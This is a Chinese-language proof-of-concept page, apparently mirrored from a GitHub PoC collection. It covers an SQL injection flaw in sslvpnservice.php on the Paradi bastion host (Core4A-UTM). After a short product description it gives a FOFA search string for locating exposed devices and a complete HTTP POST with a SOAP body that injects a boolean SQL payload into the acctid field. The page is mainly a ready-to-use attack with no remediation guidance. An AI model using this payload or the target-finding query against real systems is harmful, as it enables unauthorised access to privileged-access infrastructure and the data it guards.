mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 11:57:27 +00:00
42 lines
1.8 KiB
Markdown
42 lines
1.8 KiB
Markdown
|
# 帕拉迪堡垒机sslvpnservice.php存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
帕拉迪堡垒机支持移动管理和运维BYOD。移动管理和运维逐渐成为刚需，通过专用App从管理者和运维者角度进行多方位管理和操作。对服务器和网络中的各种帐号都能一键收集，对其状态一目了然，并做到最全单点登录。可编程环境通道。可进行自动化程序穿透，通过API接口，让运维自动化不再是法外之地，整个自动化过程可管理可审计，帕拉迪堡垒机sslvpnservice.php存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
帕拉迪堡垒机
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ fofa `app="帕拉迪Core4A-UTM"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四 、漏洞复现
|
|||
|
|
```java
|
|||
|
|
POST /sslvpnservice.php HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
|
|||
|
|
like Gecko) Chrome/89.0.4389.90 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Cookie: PHPSESSID=8fdj8pske96v2qdg13g36u8872; think_language=zh-cn
|
|||
|
|
Content-Type: text/xml
|
|||
|
|
Content-Length: 580
|
|||
|
|
|
|||
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|||
|
|
<SOAP-ENV:Envelope SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAPENV="http://schemas.xmlsoap.org/soap/envelope/"
|
|||
|
|
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
|||
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAPENC="http://schemas.xmlsoap.org/soap/encoding/">
|
|||
|
|
<SOAP-ENV:Body>
|
|||
|
|
<getAccountDetail>
|
|||
|
|
<data>
|
|||
|
|
{"token":"4e28b56969e59a18d72d0050a47f812a","user":"superman","acctid":"-1' or
|
|||
|
|
1=if(1=1,1,2) limit 0,1 -- a","index":"1"}</data>
|
|||
|
|
</getAccountDetail>
|
|||
|
|
</SOAP-ENV:Body></SOAP-ENV:Envelope>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-11-27 10:04:11
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/yxne8q3lvcvl18bl>
|